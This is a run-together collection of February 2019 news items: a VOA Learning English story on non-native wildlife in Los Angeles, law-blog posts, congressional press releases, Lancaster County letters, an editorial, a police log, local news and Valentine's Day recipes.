Cold-blooded immigrants

Often seen sunning themselves near a body of water, red-eared slider turtles are also not native to the U.S. West Coast. They also immigrated to the area as household pets. Later, some were released or escaped into the wild.

The turtles are native to the central United States. But they have survived in many parts of the country and around the world.

"Because this species is so commonly exploited for food and the pet industry, its the one that gets released the most often," said UCLAs Brad Shaffer. He heads the La Kretz Center for California Conservation Science.

Urban haven

The success of the red-eared slider turtles and red-crowned parrots in the Los Angeles area has scientists wondering whether a city can be a place to help endangered non-native animals.

Shaffer said, At least its living in the wild. Its making its own living. Its having the lifestyle that turtles or that parrots should have, its just doing it in a different place."

Heise noted that work crews have put up major buildings and added different kinds of plants in neighborhoods across Southern California.

In many cases, this has led to a reduction of biodiversity; the native species had trouble living in the newly created habitat.

But the other side of that, Shaffer said, is that new kinds of habitats have been created, in which some creatures could thrive. These artificial habitats could become new homes for birds, insects or other creatures whose native homes are threatened.

Shaffer said any non-native species that is added would have to be carefully chosen to limit the risk of harm to the existing wildlife population in the city and other areas.

Im Jonathan Evans

Elizabeth Lee reported this story for VOANews.com. George Grow adapted her report for Learning English. Ashley Thompson was the editor.

_______________________________________________________________

Words in This Story

ecosystem  n. a community of organisms and its environment

pet  n. an animal kept for pleasure, not usefulness

habitat  n. an environment where a plant or animal normally lives

biodiversity  n. all forms of life in an area

minimize  v. to reduce

We want to hear from you. Write to us in the Comments Section.Wednesday, February 13, 2019

The Verge (Feb. 11, 2019): Campus vending machines offer emergency contraception without the stigma, by Lux Alptraum:

Thirteen years after a heated battle resulted in over-the-counter approval for emergency contraception, the product is finally shedding some of its stigma, and college campuses are leading the charge toward normalization.

In the fall of 2018, Yales Reproductive Justice Action League proposed a new plan to improve the health and wellness of its student population: emergency contraception vending machines. Unfortunately, the university announced that it was halting the plan because of a little-known state law banning vending machines from being used to distribute over-the-counter medications.

Similar laws exist around the country and are currently being challenged. This week, a bill was introduced in Maine at the request of students at the University of Southern Maine that would allow some over-the-counter medications  including emergency contraception  to be sold in vending machines.

But more broadly, says Alptraum, "theres no denying that our national conversation about [emergency contraception] has undergone a major shift toward normalization: emergency contraception is now available at health clinics, drugstores, and, yes, in vending machines."

For students on isolated college campuses, though, distance is an additional hurdle, says Rachel Samuels, the Stanford alumna who led the charge for more accessible on-campus emergency contraception. At Stanford, Samuels says, the nearest pharmacy is about a 25-minute walk away with no guarantee that emergency contraception will be in stock. On rural campuses, access to pharmacies is usually even more limited.

When Stanford students began petitioning for on-campus access to emergency contraception a few years ago, they looked to vending machines as a solution. The result of that organizing is a small, high-tech vending machine called a Vengo that is located in the all-gender restroom in Stanfords student center. It allows students to confidentially access My Way brand emergency contraception (and condoms) at any hour of the day. The pill costs $25, which is less than the $26 that the student health center charges or the $40 or $50 Plan B tends to retail for at pharmacies, though thats more than twice what the same brand retails for on Amazon.

Still, in 2018, the machines sold 329 units of emergency contraception, and Stanford plans to add a second Vengo machine on campus in 2019. Vengo machines have also started dispensing EC at Columbia University in New York and George Mason University in Virginia.

https://lawprofessors.typepad.com/reproductive_rights/2019/02/campus-vending-machines-offer-emergency-contraception-without-the-stigma.htmlWednesday, February 13, 2019

It looks like a deal is close on the budget, with a "down payment" on the U.S./Mexico border wall. And President Trump just may sign the bill despite not being "happy" with it. Here is a discussion of the somewhat messy compromise process. The deal includes $1.375 for the border barrier structures and an increase in Department of Homeland Security funding. Perhaps we will avoid a border another shutdown?

KJ

https://lawprofessors.typepad.com/immigration/2019/02/deal-appears-to-be-reached-to-avoid-federal-government-shutdown.htmlWATCH: Kamala Harris Talks 2020 Presidential Run, Legalizing Marijuana, Criminal Justice Reform + More

Presidential candidate Kamala Harris stops by to explain why she decided to run for presidential office in 2020. The U.S. Attorney also touched on where she stands on marijuana legalization and the nasty game shell have to play going up against President Donald Trump in 2020.

ADVERTISEMENTRep. Hank Johnson Introduces Bill Requiring US Supreme Court to Follow Code of Ethics

Congressman Hank Johnson

WASHINGTON, D.C.  Congressman Hank Johnson (GA-04) introduced the Supreme Court Ethics Act (H.R. 1057) requiring the Judicial Conference of the United States to create a code of ethical conduct for the Supreme Court of the United States.

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Unlike federal judges, Supreme Court Justices are exempt from the Code of Conduct for United States judges  a binding code of ethics that ensures neutrality and transparency in our judiciary, said Rep. Johnson, a former magistrate judge. This bill would change that by requiring the Judicial Conference of the United States to create a code of ethics, binding the Justices of the Supreme Court to common-sense standards that have been applied to federal judges for decades. This necessary ethical reform is needed to make our government more accountable to our constituents, the people of the United States.

Sen. Chris Murphy (D-Connecticut) introduced a companion bill in the Senate the same day.

Were teetering on the edge of a very dangerous politicization of the Supreme Court. During the nomination process for Justice Kavanaugh, we saw a disturbing display of political bias. Weve seen Supreme Court Justices promote political fundraisers and fail to report family income from special interests. All of this has eroded Americans trust in the independence and integrity of the Supreme Court. My bill is an easy step to make sure justices abide by the same standard of ethics and transparency as every other federal judge, and restore some faith back into the institution, said Sen. Murphy.

The language of the bill is also part of the historic House Democratic legislative package H.R. 1  a bold, transformative set of reforms to strengthen democracy and return political power to the people by making it easier, not harder to vote; end the dominance of big money in politics; and ensure officials work for the public interest.New Author Releases Memoir  Surviving Forty-three Consecutive Years in Prison

LOS ANGELES, CA.  Knowledge Power Books and Malik Bookstore will host a book signing event for first-time author Edward Renee Harden on Saturday, February 16, 2019, 3:00 p.m. at Malik Books, Baldwin Hills Crenshaw Mall, 3650 W. Martin Luther King, Jr. Blvd., #245, Los Angeles.

Harden was sentenced to seven years to life for murder at seventeen. With good behavior and being a model prisoner, he could have been released after serving seven years. He spent a total of forty-three years consecutive years and an additional two years in a transitional housing program. Thirty-one of those years he served in solitary confinement. Join us as Harden will share his journey and you will learn, the why, how, and what happens when you spend three-quarter of your life locked up.

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Hardens current mission is to make a difference and help our youth understand that its never too late to turn your life in a new and positive direction. He doesnt want another young person to lose their freedom by making bad choices.

The book is available at Knowledge Power Books, amazon.com, and Malik Books.George Clooney Compares Meghan Markle Coverage to Princess Di

LOS ANGELES (AP)  George Clooney is frustrated by the way the media is treating Meghan, the Duchess of Sussex, comparing it to how the media covered Princess Diana.

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Clooney told reporters the Meghan is a woman who is seven months pregnant and she has been pursued and vilified and chased in the same way that Diana was and its history repeating itself.

Diana died in a car crash while being pursued by paparazzi in 1997.

Clooney and his wife attended the former Meghan Markles wedding to Dianas son, Prince Harry, last year.

Clooney made the comments at the Television Critics Association conference in Pasadena, California. He is promoting his upcoming Hulu series Catch-22.Hastings with Chauntell Hawkins and Little Ricky, a rescue dog from Yulin, China that was saved from inhumane slaughter. 

Washington, DC  Congressman Alcee L. Hastings (D-FL) sent the following letter to Prime Minister Theresa May, urging the support an amendment to the United Kingdoms Agriculture bill, which would ban the dog meat trade. Joining Hastings in sending the letter were Representatives Vern Buchanan (R-FL), Theodore Deutch (D-FL), and Lee Zeldin (R-NY):February 11, 2019

The Rt Hon Theresa May, MP

Prime Minister

Office of the Prime Minister

10 Downing Street

London

SW1A 2AA

Dear Prime Minster May:

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In December, the U.S. House of Representatives took the lead on passing legislation that was signed into law banning the slaughter, consumption, and trade of dog and cat meat. The adoption of this important legislation not only sent a message to people in the United States, but also, those around the world, putting all who engage in this heinous practice on notice that it will no longer be tolerated regardless of where it is found to occur.

We understand that MP Giles Watling for Clacton has proposed an amendment to the United Kingdoms Agriculture bill, which would ban the dog meat trade. As supporters of the ban recently passed here in the U.S., we sincerely hope that you will support this effort. The slaughter of dogs does not prevent hunger or improve human welfare, nor is there any economic justification to continue this horrific and barbaric practice. While we would not presume to dictate to your government what policies it should enact, we are sure you would agree that this practice needs to be stopped in the United Kingdom, as well as worldwide.

Our alliance is a partnership of the heart, bound by the history, traditions and values we share. We need to be united in imposing a ban against the dog meat trade. As Winston Churchill once said, our victories on the battlefield proved what can be achieved by British and Americans working together heart and hand. We have, and can, change the world for the better when we join forces together.

We thank you for your time and consideration, and look forward to your response.

Sincerely,

Alcee L. Hastings

Member of Congress

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Vern Buchanan

Member of Congress

Theodore Deutch

Member of Congress

Lee Zeldin

Member of Congress

Congressman Alcee L. Hastings serves as Vice-Chairman of the House Rules Committee, Chairman of the U.S. Helsinki Commission, and Co-Chairman of the Florida Delegation.It is very puzzling to me why people are opposed to the proposals of the Hurst family to build Oregon Village. Instead of letting the land continue to lay vacant where the Shawnee motel stood 30 years ago, they have come up with a plan to develop housing and commercial buildings.

Coming with that development will be improved intersections to make it easier to get onto Oregon Pike. Why is it OK to build close to where we have already have commercial sprawl and yet not OK to build miles away, where there are very few stores?

You could almost walk between Lancaster Shopping Center, Shoppes at Belmont, Red Rose Commons, Park City Center and now The Crossings at Conestoga Creek. But people do not walk. They use cars. We all know what it is like to travel through that area at rush hour.

I think the Manheim Township commissioners should permit the development of Oregon Village. That would be smart development.

Suzanne Schaudel

Manheim TownshipIm responding to your invitation to comment regarding our states marijuana issue.

This needs to be addressed in a holistic fashion. Im concerned that neither the health effects of using marijuana nor the impact to communities, workplaces and people affected as a result of accidents due to operating vehicles/machinery under the influence are being addressed. Are there guidelines as to minimal amounts of tetrahydrocannabinol for safe use of vehicles and heavy machinery?

Although more study is needed, according to the National Institutes of Health, health effects include impaired brain development, irritated lungs similar to that of tobacco use, increased heart rates, and impairment of child development during and after pregnancy.

Should our state legislators decide that recreational marijuana be legalized, I suggest that its sale be taxed and that how the taxes are levied be included within the legislation. There should be authorized retailers whose inventory is closely monitored, as well as stiff penalties for those selling marijuana outside of the authorized retailers.

Those who choose to use marijuana should help provide a funding source to offset the costs of (1) informing our citizens of the dangers of use, (2) helping users recover from addiction, and (3) covering costs of any potential lawsuits as a result of state negligence due to injury in public places in Pennsylvania.

However, using marijuana as a source for tax revenue shouldnt be the motivation to decriminalize marijuana. Instead, our legislators should be promoting and developing a Pennsylvania population that is healthy and safe.

Jyuji Hewitt

Fulton TownshipIn a Dec. 18 letter, Re-evaluate DUI levels for marijuana, I presented a question regarding marijuana and DUI, as it applies to current Pennsylvanias near zero-tolerance policy, even though we have a medicinal marijuana law.

Recently, there have been multiple articles in LNP regarding legalization of marijuana. Not surprisingly, the majority of our Lancaster County elected officials, with the exception of state Rep. Mike Sturla, are not in support of legalization of recreational marijuana.

However, I am not writing today regarding the issue of recreational use of marijuana. I am writing to express my experience regarding the medicinal use of marijuana. After consultation with my primary physician, medicinal marijuana was considered a legitimate option for pain management. I enrolled on the Pennsylvania medical marijuana government site with no problem. Then I downloaded a list of Lancaster County physicians who are listed as able to provide medical marijuana certification.

There are more than 25 physicians listed as able to provide verification of legitimate enrollment for a medicinal marijuana card. Less than half of this listed group are willing to take on new patients to assist in gaining access to medical marijuana. My protest is that the lack of these physicians is more political and not anchored in access for true patient treatment.

Phil Atkins

Lancaster TownshipTHE ISSUE

Republican U.S. Sen. Pat Toomey and U.S. Rep. Lloyd Smucker met at the Lancaster County Government Center on Friday to promote legislation that would effectively end government shutdowns. As LNPs Sam Janesch reported, their plan  which has been introduced but come up short repeatedly for decades  would allow federal agencies to remain funded if Congress fails to meet its deadlines. Smucker and Toomey are promoting bills that are similar, but have some differences in approach, Janesch noted.

This may make too much sense for Washington, D.C., where obvious solutions often fail to see the light of day. But of course lawmakers should pass legislation to defang shutdowns, effectively eliminating them as a means of swaying spending debates.

No president, including Donald Trump, should be allowed to attempt to get his or her way by threatening a government shutdown. But that was the path chosen by the president recently, as he fought for federal funding for a southern border wall for which he previously had promised Mexico would pay.

Federal workers shouldnt be used as pawns; peoples lives shouldnt be manipulated for political advantage; public safety shouldnt be endangered by political games . But they sadly were. And they have been in the past, too.

So we support the efforts of Smucker and Toomey to discourage future shutdowns.

In our view, Toomey made a serious mistake in 2017 when he played a central role in pushing the GOPs Tax Cuts and Jobs Act. He suggested that lowering tax rates would generate more tax revenue  when, in fact, the results have been decreased federal tax revenue and increased federal debt, putting at risk this nations social safety net.

On shutdowns, at least, he is advancing a more responsible view.

As Janesch explained, the plan Toomey has co-sponsored would keep agencies funded at their current level for 120 days. After those first four months, funding would decrease by 1 percent and then another 1 percent after every other 90-day period that passes without an approved budget.

Smuckers bill would continue funding levels, for the first 60 days, that are 5 percent less than what they had been before. After that, funding would be reduced by another 2 percent in each 60-day period without an enacted budget.

Smucker said that gradual decrease in funding would exert more of an incentive to find a deal should a budget lapse. Full funding, Janesch reported, could allow Congress to just let funding continue automatically without any changes.

Janesch noted that other versions with different funding levels also are floating around Capitol Hill  from lawmakers like U.S. Rep. Brendan Boyle, a Philadelphia Democrat, and U.S. Sen. Rand Paul, a Kentucky Republican.

That Paul and Boyle are working on the same issue says something. Were glad the lawmakers who represent us are taking the lead.

Janesch noted that the late U.S. Sen. John McCain introduced similar legislation in 1996 after the stalemates between President Bill Clinton and House Speaker Newt Gingrich led to what was then the longest shutdown in history. It lasted 21 days.

The partial government shutdown of December and January blew past that record, lasting 35 days  and wrecking, in the process, some federal workers credit records and savings accounts. It also cost the economy $11 billion  of which $3 billion wont be recovered, according to the independent Congressional Budget Office.

As we write Tuesday, the nation is on tenterhooks again, hoping that the spending deal reached in principle Monday night by congressional negotiators will hold up and win the presidents final approval.

According to The Associated Press, the agreement includes $1.375 billion to build 55 miles of new border fencing (rather than a wall). The pact also includes increases for new technologies such as advanced screening at border entry point, humanitarian aid sought by Democrats, and additional customs officers, the AP reported.

We hope these past fraught weeks finally have demonstrated to lawmakers the need for legislation like that proposed by Smucker and Toomey.

What may make the difference this time around is this: Its the fact that the public, I think, is just more fed up than ever before, Toomey noted. Its a heightened level of public dissatisfaction with this dysfunction.

A Jan. 27 letter to the editor from Robert Lowing, of Lancaster, conveyed that dissatisfaction.

He maintained that the president was punishing innocent people  including four civil servants in Lowings family  to make his adversaries yield to his demands on a southern border wall.

This is not governing; this is holding families for ransom, Lowing wrote.

Fran Spangler, of Lancaster, wrote in a Jan. 25 letter that President Donald Trump and House Speaker Nancy Pelosi are acting like two kindergarten kids. All this pettiness needs to stop.

Nick Castaldi, of Mount Joy, identified himself in his Jan. 24 letter as a former federal employee who experienced this dysfunction firsthand.

Shutdowns, he wrote, are simply a terrible way of doing business, are no way to resolve budget disputes and, more importantly, cost the taxpayers dearly.

James Barth, of Elizabethtown, wrote Jan. 22 that instead of passing a spending deal, members of Congress would rather snipe at each other and play the blame game. The only reason presidents seem to have so much power today is because members of Congress refuse to do the job they were elected to do.

And thats just a sampling of the sentiments expressed in January letters to the editor.

So, yes, Toomey is right in noting public dissatisfaction.

When the government shuts down, it essentially hangs up a sign reading: Closed because broken. Awaiting repair.

The legislation being pressed by Smucker and Toomey is the repair our government badly needs.Columbia Borough police

HARASSMENT

COLUMBIA: Tanya G. Asia, 41, of Columbia, was charged after an incident Feb. 7 in the 700 block of Ridge Avenue, police said.

ROBBERY

COLUMBIA: Jeffrey E. Hoover, 18, of Ephrata, has been charged with robbery and conspiracy to commit robbery after he and an unidentified suspect on Feb. 8 stole $500 from someone who tried to purchase marijuana from the two, police said. Anyone with information on the second suspect is encouraged to call 717-738-9200, ext. 241, or leave a tip on the Columbia Borough police Crimewatch website.

THEFT

COLUMBIA: James J. Doersom III, 25, of Columbia, was charged after he stole a package with a value of $42.84 from someones doorstep Feb. 8, police said.

East Cocalico Township police

DRUG CHARGES

EAST COCALICO TWP.: Charles Vincent Lopuszniski, 18, of Denver, was charged with possession of a small amount of marijuana and drug paraphernalia while a passenger in a vehicle stopped Feb. 9 in the 2600 block of North Reading Road, police said.

EAST COCALICO TWP.: Brent Christopher Bowman, 40, of Denver, was charged with possession of heroin and drug paraphernalia after a traffic stop for a suspended registration Feb. 4 at Denver and Flamingo roads, police said.

DUI

DENVER: Thomas Joseph Paul Wheatly Jr., 26, of Denver, was charged after a traffic stop for erratic driving Feb. 9 in the 300 block of Main Street, police said.

DENVER: Tiffany Sheree Briggs, 23, of Newsmanstown, was charged with DUI, possession of a controlled substance, possession of drug paraphernalia and driving on a suspended license after a traffic stop Dec. 30 in the 200 block of Main Street, police said.

EAST COCALICO TWP.: Brandon Alan Devault, 35, of Reamstown, was charged after he was seen speeding Feb. 10 in the first block of North Reamstown Road, police said.

EAST COCALICO TWP.: Austin Shelby Rock, 28, of Stevens, was charged with DUI, fleeing or attempting to elude police, reckless endangerment, reckless driving and an interlock ignition violation after an officer attempted to stop him for a stop sign violation Feb. 10, police said.

EAST COCALICO TWP.: Wilbert Quirindongo Vega, 26, of Denver, was charged after a traffic stop for erratic driving Feb. 1 in the first block of West Church Street, police said.

HARASSMENT

DENVER: Mervin Redcay Jr., 37, of Denver, was charged after sending threatening texts to a person Feb. 3 in the 300 block of Main Street, police said.

SIMPLE ASSAULT

DENVER: Brad A. Gensamer, 43, of Denver, was charged with simple assault, intimidation of a witness, two counts of terroristic threats, harassment and public drunkenness after a domestic incident Feb. 8 in the 900 block of North Sixth Street, police said. Gensamer allegedly assaulted a woman, left the home and was arrested on North Fifth Street. On the way to Lancaster County Prison he told police he was going to kill the woman, police said. Lancaster County Adult Probation and Parole filed a detainer to keep him incarcerated, according to police.

Lancaster police

DUI

LANCASTER: Shawn Kian Arrington, 42, of North Carolina, was charged with DUI, possession of marijuana and possession of drug paraphernalia after officers responded to a call about a person trying to leave a parking lot while intoxicated Feb. 7 in the 200 block of North Christian Street, police said.

THEFT CHARGES

LANCASTER: Tristan Von Vo, 26, of Landisville, was charged with retail theft after removing security devices and hiding merchandise in a gift bag Feb. 4 at 1135 Park City Center, police said.

THEFT

LANCASTER: A black-and-silver 9 mm Smith & Wesson handgun was stolen Feb. 9 from a home in the 600 block of Columbia Avenue, police said.

Mount Joy Borough police

DRUG CHARGES

MOUNT JOY: Edward J. Durant, 30, of South Plum Street, was charged with possession of marijuana and drug paraphernalia Feb. 7 on South Plum Street, police said.

MOUNT JOY: Anton Joseph Rosario, 24, of Square Street, was charged with possession of marijuana and drug paraphernalia Feb. 1 on East Main Street at Eby Chiques Road, police said.

DUI

MOUNT JOY: Shayna Lyn Nyeste, 48, of East Main Street, was charged after a traffic stop Feb. 2 on Appletree Alley and Concord Street, police said.

MOUNT JOY: Mark Edward Cottrell, 48, of Water Street, was charged after a traffic stop Jan. 26 on West Main Street, police said.

THEFT CHARGES

MOUNT JOY: Lloyd H. Kennedy, 48, of Creekside Lane, was charged with theft of services after placing three large trash bags in the recycle dumpster of a business Jan. 24 in the 700 block of East Main Street, police said.

Susquehanna Regional police

DRUG CHARGES

EAST DONEGAL TWP.: Adrienne D. Siegel, 23, of Maytown, was charged with possession of marijuana and drug paraphernalia after her vehicle crashed into a telephone pole Jan. 30 in the 800 block of Colebrook Road, police said.

DUI

EAST DONEGAL TWP.: Haylie A. Tierney, 25, of Mount Joy, was charged after a traffic stop Jan. 12, police said.

EAST DONEGAL TWP.: Robert F. Snyder, 49, of Lancaster, was charged after his vehicle was stopped Nov. 12 at the intersection of Maytown and River roads, police said.

HARASSMENT

EAST DONEGAL TWP.: Kelsey P. Sheilds, 25, of Marietta, was charged after a domestic dispute Jan. 28 in the 100 block of Countryside Lane, police said.

TRESPASS

EAST DONEGAL TWP.: Tara M. Stokes, 28, of Elizabethtown, was charged after smashing a window and making entry into a home Feb. 2 in the 300 block of Red Cedar Lane, police said.A Lancaster woman has been charged with taking a video during a court hearing, an act defined as a misdemeanor offense in a state law passed in 2018.

The woman, Monea Woods, 27, allegedly recorded two video clips from the gallery of a Lancaster district court and posted them on a social media page, according to the Lancaster County district attorney's office.

Woods was charged by Lancaster police Thursday with unlawful use of an audio or video device in court, a second-degree misdemeanor. The district attorney's office said Woods is believed to be the first person in Lancaster County to be charged under the new law.

Woods made the recordings during a Dec. 27 preliminary hearing in an attempted homicide case at the district court at 123 Locust St., according to the district attorney's office.

A detective recognized the location and vantage point and confirmed that District Judge Jodie Richardson did not give permission for the recording.

Recording in court has not been allowed based on rules of procedure set by the state's Supreme Court, district attorney's office spokesman Brett Hambright explained.

But Act 94, signed into law in October, made it a chargeable offense under the criminal code. Signs at the Locust Street court and other courts in Lancaster County advise that recordings are against the law, the district attorney's office said.

The statute says it's illegal for anyone "to capture, record, transmit or broadcast a photograph, video, motion picture or audio of a proceeding or person within a judicial facility or in an area adjacent to or immediately surrounding a judicial facility," according to Pennsylvania law.

The aim is to protect witnesses in court cases from retaliation, Hambright said.

Visitors to the Lancaster County Courthouse have been banned from even bringing a cell phone into the 50 N. Duke St. facility since 2017. The policy set by the courthouse said cell phones could also be banned at district courts at the direction of judges.Lancaster Countys largest food bank says its ready to meet a likely spike in demand spurred by the 35-day partial government shutdown that ended Jan. 25.

We are going to meet the need one way or another, Gail Rittenhouse, director of Lancaster County Council of Churches, said Tuesday. Our prediction is its going to happen, probably next week.

Rittenhouse said the food hub at 812 N. Queen St. would welcome monetary contributions and donations of pantry items, including canned tuna, canned vegetables and peanut butter to meet demand.

A one-time influx of low-income recipients of Supplemental Nutrition Assistance Program benefits, known as food stamps, is expected.

Thats because they received their February benefits in mid-January rather than the first 10 days of February. The federal Department of Human Services issued the benefits early to assure receipt during the shutdown.

A false rumor that the benefits had to be spent by the end of January or they would expire led some to quickly use up the early payment. As a result, some SNAP recipients may run out of food and turn to food banks before they receive their March benefit.

Gail We are going to meet the need one way or another."

We do expect the later part of February to be very busy as SNAP benefits run out and clients seek more food assistance from our partner agencies, Joe Arthur, executive director of the Central Pennsylvania Food Bank, said in a news release. With that in mind, we ask that friends of the food bank consider an extra monetary donation in February.

Rittenhouse said demand this winter has been up and down, depending upon the weather. Many clients walk to the food hub to receive an 80-pound food distribution valued at $150 to $200.

But one day last week the food hub had one of its biggest days ever, serving 119 people, almost twice the number served on a typical day, Rittenhouse said.

The average SNAP benefit per Pennsylvania household in fiscal year 2017 was $226, according to the Center on Budget and Policy Priorities.

About 18,300 Lancaster County households, or 9.3 percent of all county households, receive SNAP benefits. About 6,500 Lancaster city households, or 30.7 percent of all city households, receive SNAP.Local advocates seeking to prevent the closure of UPMC Pinnacle Lancaster returned to City Council on Tuesday evening to demand forcefully that council members and the city stand with them.

"Words of support are not enough," said Tammy Rojas, a coordinator with the Lancaster Healthcare Rights Committee, part of the grassroots organization Put People First! PA.

"Your actions show us who's side you're on. I suggest you start walking the talk because we're not playing games any more."

Pittsburgh-based UPMC is expected to close the former St. Joseph Hospital on the west side of Lancaster at the end of the month.

That will leave Lancaster General Hospital as the city's sole hospital, raising concerns about its capacity to handle an increased patient volume.

Rojas previously spoke before council about UPMC Pinnacle in December. On Tuesday, she called for a public meeting with UPMC's CEO and other executives present, and for Lancaster to support her organization's push to have Pennsylvania establish a public health care advocate, a state official who would work on behalf of patients and the public at large.

She noted that state Attorney General Josh Shapiro, citing UPMC's "corporate greed," sued it last week over its dealings with the Highmark insurance company, saying it was not living up to its obligations as a charity.

Councilwoman Janet Diaz is a stroke registrar at Lancaster General.

"We are overwhelmed," she said. "We are very busy." But she said the hospital is "fighting back" to make sure patients get access to the treatment they need.

The whole community has to come together on the issue, she said, and told Rojas: "On my behalf, I am supporting you."

Mayor Danene Sorace told LNP she shares the community's concerns about the closure.

But the city has no authority to keep UPMC Pinnacle Lancaster open, she said. That's a state matter, and the Department of Health has raised no objection to the closure.

So the city is doing what it can to ease the impact and secure the property's future, she said. When it comes time to make decisions about the latter, there will be community input, she pledged.A police citizens review board could help resolve complaints and improve community relations, even if it lacked the authority to issue subpoenas, a city resident and community advocate told City Council.

The system is broken, Darlene Byrd said.

Mayor Danene Sorace said that without subpoena power, citizens review boards are largely symbolic and can end up increasing mistrust of police rather than reducing it.

I dont think that it will accomplish the goals that we want, she said.

There has been renewed interest in a review board in Lancaster since a number of incidents last year.

The Lancaster NAACP called for such a board as part of a package of recommended reforms following police-use of a stun gun on an unarmed man in June.

Chapter President Blanding Watson reiterated that call at City Council on Tuesday. Philadelphia has a board that could serve as a model for Lancaster, he said.

At councils committee meeting last week, Byrd outlined her proposal.

The board, she said, could have members appointed by council and representing a cross-section of the community.

Any complaint involving a possible criminal infraction would be referred to the county district attorney. The board could investigate complaints involving professional standards, Byrd said, by issuing Right-to-Know requests to the police department.

Councilman John Graupera said he had concerns a review board would do nothing except add a layer of complexity.

While it could make recommendations for disciplinary action, it could not enforce them. The mayor and police leadership have the authority to discipline officers, but there is zero legal authority for a city board to do so, said Patrick Hopkins, director of administrative services.

Moreover, because its a personnel matter, the police cannot disclose to the public whether or how a particular officer was disciplined, police Chief Jarrad Berkihiser said.

Discipline matters become public only if theyre taken to court, arbitration or City Council, he said.

Last year, the police department changed its use of force policy and some of its training and began deploying body cameras. Sorace said she wants to see how those reforms play out before exploring a review board.

The system isnt broken, she said: I do not believe that.

District Attorney Craig Stedman said he has no position on a civilian review board provided it limits itself strictly to noncriminal matters.

I defer the decision on the formation of this type of panel to the city government and residents, he said.

Byrd, the leader of South Ann Concerned Neighbors, has been pushing for changes to police complaint procedures since a vehicle stop in May last year that involved her daughter and granddaughter.

The Byrds say police acted unprofessionally both at the stop and when they complained afterward. They sought apologies from all officers involved.

Sorace and police officials apologized to the Byrds at a meeting last year. Sorace said further apologies arent feasible.

The Byrds experience, she said, is not indicative of the entire system.Perhaps youve made your reservation for an upscale eatery or a favorite neighborhood hole in the wall.

Or maybe home is where the heart is.

Many people will be cooking dinner Thursday, when Valentines Day rolls around.

Theyll be trying to make things special  showing some affection to their new lover, a significant other, even their children.

We reached out to some people who have experience with home-cooked Valentines Day meals, and they offered their suggestions, and recipes, for making the meal special on this day that is set aside to celebrate love.

Seafood

The first thing I think of when I want to show someone a little extra love is seafood is sexy,  says Joe Hess, one of the owners of Cracked Pepper Catering in Lancaster.

I think seafood costs a little more, Hess says. I think it makes someone feel special. Its not a chicken meal.

I think of a really simple, creamy seafood bechamel with some scallops and shrimp, Hess says, something simple that anyone can really pull off.

Bechamel is a white sauce made from butter, flour and milk.

If youre making it for the kids, he adds, you get the seafood, if you want, and just give them pasta with the bechamel sauce. Kids dont always like seafood.

For those making salads at home for Valentines Day, Hess says, I always say ... Google what is in season. Right now one of the salads that is just flying off our shelves, that people are loving, is our beautiful poached pear salad.

We poach the pears in white wine and cinnamon ... and that goes on some beautiful greens with some candied nuts and a great, light vinaigrette, he says. It just goes with anything. Its very simple to produce, and you can make it look like its a $25 salad off a menu in a restaurant. Its all presentation.

Dessert is something that people dont treat themselves to often enough, Hess adds. If its smaller, you can feel as if you havent done something wrong. I am a petite-dessert guy. ... You can do a mini tiramisu in a little cup that makes people feel special. Its your own little container, and its made with love.

Another example is the love cakes Cracked Pepper serves.

Our chef does this adorable twist on a cupcake, Hess says. Its pound cake-based. She cuts out the middle, she fills it with a beautiful cream, like a custard, and then she puts chocolate over the top.

Home cooks can also make the environment of the dinner special with a little effort on the tablescape, Hess says.

You always want to eat with your eyes first, Hess adds. Even if its a beautiful table presentation thats simple. The right lighting. Its an all-around package if youre on a budget.

You have these things around the house, Hess says. If you have something on a shelf  Oh, this vase is cool. Oh, this little sphere is cool. I have these little greens from the tree outside; Im going to cut those and put them in something.

You can always make someone feel special on a budget, he says. Use your environment.

Chocolate is key

Chef Meghan Young, who just closed her Characters Pub restaurant in Lancaster, where she cooked for others on Valentines Day, says there are lots of fun ways to work chocolate into your holiday dinner.

At Characters, almost every Valentines Day, we had a cocoa-scented duck breast. she says. I would get a really good, dark Dutch cocoa, but you can use Hersheys.

Roll the duck breast in the cocoa powder and then give it a little dusting of salt, Young says. The proper way to start duck is from a cold pan, fat side down. Youre really able to control the color.

Young advises searing the duck on both sides until it gets crisp, which sears the chocolate into the flesh and seals in the juices.

Then put the duck, fat side down, in an oven at about 400 degrees for about 15 minutes, she says.

Youll get a really lovely ... deep, bitter flavor, she says.

Young says she likes to serve the chocolate duck with a sweeter sauce, just to complement it. You might want to do something like a raspberry (or blackberry) reduction ... or a raspberry puree or raspberry couli.

And then, because Im me, Id add a little chipotle paste to it and a pat of butter for extra richness, says Young, who has done a lot of Mexican cooking throughout her career.

Guacamole can be dressed up for Valentines Day with chopped shrimp and crab and red cocktail sauce on top, she says.

For the salad course, Young recommends a really good salad of arugula, sliced strawberries, sherry vinaigrette  made with sherry vinegar  and then you add cocoa nibs to it.

You can up the ante on the salad, she says, by serving it over fried mozzarella.

The cheese is rolled in flour, dipped in egg, rolled in panko crumbs and browned on both sides in some oil in a shallow frying pan and drained on some paper towels.

Then you just build that salad on top of the slices of mozzarella, she says. You get the sour from the berries, the bitter from the arugula, the sour from the sherry vinaigrette, and then the different kinds of fat that you get from the cocoa nibs ... and the cheese.

For a Valentine's Day dessert, Young recommends a boca negra  a dark chocolate cake.

These dishes, Young says, are all great for awakening the senses on Valentines Day.

You can find Young's recipes in the sidebar below.

Main dish

Bob Gates of Denver says he cant take complete credit for one of his favorite at-home meals for two.

His friend, Neal Mease of Ephrata, first introduced Gates and his wife, Gloria  who is an excellent baker and chef herself, Gates says  to an absolutely wonderful petite filet mignon recipe.

We dont do this every year for Valentines Day, Gates says, but I think its time to bring it back.

Yes, he acknowledges, the recipe may call for searing the meat in cast iron before popping it in the oven, but Gates opts for grilling as the final step.

That isnt always the coziest way to cook for a February holiday. But Gates says the effort is worth it (directions for both techniques are in the recipe below).

We will do the meat on the grill even if we have to move the grill to the driveway out of the snow piles, Gates says.

The recipe originally was developed by Susie Gall on the Simply Sated recipe blog. The Gateses finish off the petite filets with Galls brandy peppercorn sauce with Parmesan. Check out both recipes in this story's sidebar below.

Dessert

Jennifer Kiebler, of Lancaster city-based catering company Simply From Scratch, pulled her Valentines treat suggestion from the list of choices her clients can choose from.

We do corporate as well as social events, Kiebler says, and I always like to include a dessert tray that includes something seasonal. That means her suggestion, an easy-to-grab-and-go cookie, would be perfect as a lunchbox surprise or sweet treat for the sweet tooth.

This cookie is a standard in her catering kitchen, but she (puts) a twist on it for Valentines Day.

We take an everyday awesome peanut butter cookie and shape it into a heart shape, she says. Sometimes we dip one side of the heart in melted chocolate for an extra-special treat. You can find Kiebler's cookie recipe below.

